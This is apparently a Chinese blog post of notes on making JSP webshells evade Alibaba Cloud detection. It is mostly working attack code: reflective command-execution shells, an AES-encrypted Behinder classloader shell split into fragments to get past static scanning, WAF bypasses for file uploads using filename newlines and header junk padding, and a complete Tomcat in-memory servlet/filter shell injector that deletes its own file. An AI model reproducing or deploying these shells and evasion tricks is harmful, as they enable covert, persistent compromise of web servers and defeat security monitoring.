webshell免杀笔记

更改接收参数方式

调用的类和方法参数化(失败)

1
2
3
4
5
6
7
8
9
10
11
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%
String className = request.getParameter("a");
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod(request.getParameter("b"), String.class);
String D = request.getParameter("c");
M.invoke(B.newInstance(), D);
%>

调用的类和方法参数化MethodUtil.invoke(失败)

  • 说明单纯依赖MethodUtil.invoke这个技巧是过不了阿里云的
1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<%
String className = request.getParameter("a");
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod(request.getParameter("b"), String.class);
String[] D = request.getParameterValues("c");
MethodUtil.invoke(M,B.newInstance(),D);
%>

参数拼接(失败)

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<%
String className = request.getParameter("a");
Class A = Class.forName("java"+className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod("a"+request.getParameter("b"), String.class);
String[] D = request.getParameterValues("c");
MethodUtil.invoke(M,B.newInstance(),D);
%>

不通过request接收参数(不会被杀)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<%
String className ="xxxxxx";
String b ="xxxxxx";
String c ="xxx";
Class A = Class.forName("java"+className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod("a"+b, String.class);
String[] D = c;
MethodUtil.invoke(M,B.newInstance(),D);
%>[

request接收不同的参数

  • request调用不存在的方法接收参数(不会被杀)
1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="sun.reflect.misc.MethodUtil" %>
<%
String className = request.get("a");
Class A = Class.forName("java"+className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod("a"+request.get("a"), String.class);
String[] D = request.get("a");
MethodUtil.invoke(M,B.newInstance(),D);
%>
  • request.getAttribute(绕过失败)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%
request.setAttribute("a",request.getParameter("a"));
request.setAttribute("b",request.getParameter("b"));
request.setAttribute("c",request.getParameter("c"));
%>
<%
String className = (String)request.getAttribute("a");
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod((String)request.getAttribute("b"), String.class);
String D = (String)request.getAttribute("c");
M.invoke(B.newInstance(), D);
%>
  • request.getContentType(绕过失败)
1
2
3
<%
Runtime.getRuntime().exec(request.getContentType());
%>

执行流控制

将恶意逻辑写在异常处理中(失败)

  • 这种免杀的方式是我留意到当阿里云在分析JSP文件时,文件本身产生了语法错误则中止分析,所以我把恶意逻辑写在catch中尝试绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<% String className = request.getParameter("a");
String ccccc = request.getParameter("aaaa");
String asd=request.getParameter("b");
String D = request.getParameter("c");
try{
Class.forName(ccccc);
}catch(NullPointerException e){
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod(asd, String.class);
M.invoke(B.newInstance(), D);
}
%>

分离免杀

使用Include包含(成功)

  • Include 包含一部分代码,分析免杀尝试(成功过绕过,但执行命令会有可疑提醒)

<%@ include file = "relative url" >

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ include file = "bbbb.jsp" %>
<%
String className = (String)request.getAttribute("a");
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod((String)request.getAttribute("b"), String.class);
String D = (String)request.getAttribute("c");
M.invoke(B.newInstance(), D);
%>
1
2
3
4
5
<%
request.setAttribute("a",request.getParameter("a"));
request.setAttribute("b",request.getParameter("b"));
request.setAttribute("c",request.getParameter("c"));
%>

image-20210929112550780

  • 通过jsp:forward将请求转发
1
2
3
4
5
<% 
request.setAttribute("a",request.getParameter("a"));
request.setAttribute("b",request.getParameter("b"));
request.setAttribute("c",request.getParameter("c"));
%><jsp:forward page="bbbb.jsp" />
1
2
3
4
5
6
7
8
9
10
11
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%
String className = (String)request.getAttribute("a");
Class A = Class.forName(className);
Constructor B = A.getDeclaredConstructor();
B.setAccessible(true);
Method M = A.getMethod((String)request.getAttribute("b"), String.class);
String D = (String)request.getAttribute("c");
M.invoke(B.newInstance(), D);
%>

免杀冰蝎马

​ 实际情况下肯定是使用webshell连接工具,普通的CMD马肯定是不能满足需求的,所以要去免杀冰蝎马。

​ 首先想知道阿里云查杀冰蝎的特征是哪块代码,所以先把冰蝎定义类的部分抽出来查杀。

defineClass加载字节码

​ 加载字节码部分首先被拦,所以先绕这部分

1
2
3
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>

继承其他间接实现ClassLoader的类加载器继承

经过测试,如果我们随机继承一个xxxCladdLoader并实现defineClass方法则不会被杀

SecureClassLoader

1
2
3
4
5
6
7
8
9
10
<%@page import="java.util.*,java.security.SecureClassLoader,javax.crypto.*,javax.crypto.spec.*"
%>
<%!class U extends SecureClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>

<%if (request.getMethod().equals("POST")){String k="39236cce7e199d43";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(Thread.currentThread().getContextClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

分割和变换内容的位置(bypass)

  • <%!%>

    <%!%>可以对内容分割,并且不对对执行产生任何影响

    1
    <%!public Class g(byte []b)%><%!{return super.defineClass(b,0,b.length);}}%>

即使是类的定义,也可以通过这种方式拆分,并且还可以调换位置

1
2
3
4
<%@page import="java.util.*,java.security.SecureClassLoader,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends SecureClassLoader{U(SecureClassLoader c){super(c);}%>

<%!public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>

即使是一个表达式中的内容,也可以通过这种方式进行拆分

1
<%Cipher%><% c=Cipher.getInstance("AES");%>

但是不能强行拆分字段的内容,下面的情况就会报错

1
<%ou%><%t.println("test")%><%;%>
  • 下面的拆分方式则正常
1
<%out%><%.%><%println%><%(%><%"test")%><%%><%;%>

分割+分离免杀冰蝎

1
<%!public%><%! Class %><%!g(byte %><%![]b){return%><%! super.defineClass(b,0,b.length)%><%!;%><%!}}%>
1
2
3
4
5
6
7
8
9
<%@page import="java.util.*,java.security.SecureClassLoader,javax.crypto.*,javax.crypto.spec.*"%>
<%!class %><%!U %><%!extends %><%!SecureClassLoader{U(ClassLoader %><%!c){super%><%!(c);}%>
<%@ include file = "aaaa4.jsp" %>

<%if (request.getMethod().equals("POST")){String k="39236cce7e199d43";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(Thread.currentThread().getContextClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

​ 通过上面的方式绕过了阿里云的静态查杀,但是在一天之后被动态查杀发现。这个理论上是绕不过的,只能对冰蝎的源码魔改或者自己写一个webshell连接工具。

image-20210930094250528

这里我怀疑是冰蝎打到动态加载的类名被标记为特征,想将执行的类名进行修改,刚好有个项目已经对包名修改,使用修改过后的执行成功绕过阿里云动态查杀

webshell文件上传免杀

​ 虽然上面过了静态和动态的查杀,但是想要完全绕过,还需要绕过上传shell部分的查杀。

后缀拦截绕过

​ 阿里云WAF首先会对后缀名进行拦截,比如当我们尝试上传.php,.jsp等文件时,无论内容是什么也会被WAF拦截。

image-20211011102028534

方法一:文件后缀换行绕过

通过在文件后缀处添加换行符达到绕过的目的

image-20211011102233800

绕过方法二:请求头脏数据填充

WAF会尝试对我们文件上传的数据包解析,如果请求中某项头的内容过大,WAF会直接放过,这种方法对很多云WAF的绕过非常有效。

​ 我们可以在=,",;后加入大量空格或者其他垃圾字符绕过。由于我们这里要绕过的是后缀的拦截,所以绕过的部分必须在filename=”xxx.jsp”前

image-20211011110722385

内容拦截绕过

​ 即使我们通过后缀换行的方法绕过了后缀的拦截,也会由于敏感内容而被拦截。

image-20211011111734884

​ 尝试按照网上提到的方法在请求内容前后加上大量垃圾字符,并无法绕过。而使用请求头脏数据填充可以直接绕过后缀和内容的拦截

内存马注入绕过

​ 目前大多数设备对内存马的防护能力仍然比较弱,所以我们最好能直接将马注入到内存中,考虑到大多数情况下是通过上传漏洞获取shell的,经过测试当去除了下面的代码后,不会被杀。

1
2
3
4
5
6
7
8
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>

​ 所以我们还是需要将类的定义和实现分开。

1
<%!public%><%! Class %><%!g(byte %><%![]b){return%><%! super.defineClass(b,0,b.length)%><%!;%><%!}}%>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.ContainerBase" %>
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@page import="java.security.GeneralSecurityException"%>
<%@page import="java.security.NoSuchAlgorithmException"%>
<%@page import="java.security.SecureClassLoader"%>
<%@page import="javax.crypto.Cipher"%>


<%@page import="java.security.InvalidKeyException"%>
<%@page import="java.security.NoSuchAlgorithmException"%>


<html>
<head>
<title>servletContext</title>
</head>
<body>
<%!class %><%!U %><%!extends %><%!SecureClassLoader{U(ClassLoader %><%!c){super%><%!(c);}%>
<%@ include file = "aaaa.txt" %>
<%
class TomcatServlet extends HttpServlet {

@Override
public void init() throws ServletException {
}


@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String value=req.getParameter("sectest666");
if(value!=null) {
if (value.equals("unload")) {
try {
//获取servletContext
ServletContext servletContext = req.getServletContext();
//获取applicationContext
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext) contextField.get(applicationContext);
Field serviceF = null;
serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = null;
contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method removeWrapper = null;
removeWrapper = mapper.getClass().getDeclaredMethod("removeWrapper", contextversionClass, String.class);
removeWrapper.setAccessible(true);
removeWrapper.invoke(mapper, contextVersion, "/fav.cio");
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}

}
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String k = "39236cce7e199d43";
HttpSession session = req.getSession();
session.setAttribute("u", k);
Cipher c = null;
try {
c = Cipher.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
}
try {
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
} catch (InvalidKeyException e) {
e.printStackTrace();
}
javax.servlet.jsp.PageContext pageContext = javax.servlet.jsp.JspFactory.getDefaultFactory().getPageContext(this, req, resp, null, true, 8192, true);
try {
new U(this.getClass().getClassLoader()).g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(req.getReader().readLine()))).newInstance().equals(pageContext);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
}
}


@Override
public void destroy() {
super.destroy();
}

}
%>

<%
try {
//获取servletContext
javax.servlet.ServletContext servletContext=request.getServletContext();

//获取applicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

Field serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
Wrapper wrapper = (Wrapper) standardContext.findChild("test");
if(wrapper ==null) {
TomcatServlet tomcatServlet=new TomcatServlet();
StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper();
Field instanceF = wrappershell.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrappershell,tomcatServlet);
wrappershell.setServletClass("TomcatServlet");
Field parent = ContainerBase.class.getDeclaredField("parent");
parent.setAccessible(true);
parent.set(wrappershell, standardContext);
wrappershell.addMapping("/fav.ico");
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper, contextVersion, "/fav.ico", wrappershell, false, false);
out.println("Servlet has been Inject,please visit /fav.ico to access shell and visit /fav.ico?sectest666=unload to unload shell!!!");
}
}catch (Exception e){
e.printStackTrace();
}
%>
</body>
</html>

内存马优化

​ 上面的内存马有两个小缺点。

  • 兼容性不高,在tomcat 8及以上没有问题,但在tomcat 7会有异常
  • 不会自删除,注入内存马的脚本容易被捕获

兼容性修改

​ 考虑到Servlet的内存马可能由于一些权限控制的问题,导致访问不了,所以换成Filter的内存马。高版本和低版本需要导入的类名发生了变化,所以最好我们能在程序中判断不同的版本并进行导入。但是经过测试发现这个在JSP中是无法解决的,当Import的类不存在时,程序会直接抛异常并终止运行,我们也没有办法捕获import导致的异常,所以每次在使用时首先可以判断tomcat的版本。

1
2
3
4
5
6
7
<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

自删除解决

​ 判断FilterMap中是否有我们注入的Filter,如果已经存在则删除文件,这样在我们第二次访问该文件时shell会自删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%
String name = "Test666Filter";

ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);


if (filterConfigs.get(name) == null){
...
}
else{
String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
String path=application.getRealPath(__jspName);
File file = new File(path);
file.delete();
}
%>

补充

​ 最后测试过程中发现一个小trick,当然不一定能绕过WAF。

​ 这里有个小知识,在JSP文件中有两种注释, <!-- 注释 --> 只是HTML注释,实际上还是会被编译执行。

<%– 注释 –%> JSP注释,注释内容不会被发送至浏览器甚至不会被编译
HTML注释,通过浏览器查看网页源代码时可以看见注释内容

​ 假如在JSP中输入下面代码。

1
<!-- <% out.println("asdasd");%> -->

​ 虽然我们在页面中看不到执行的输出结果,但是查看编译好的Class文件注释里的内容实际上也执行了。

1
2
3
out.write("<!-- ");
out.println("asdasd");
out.write(" -->");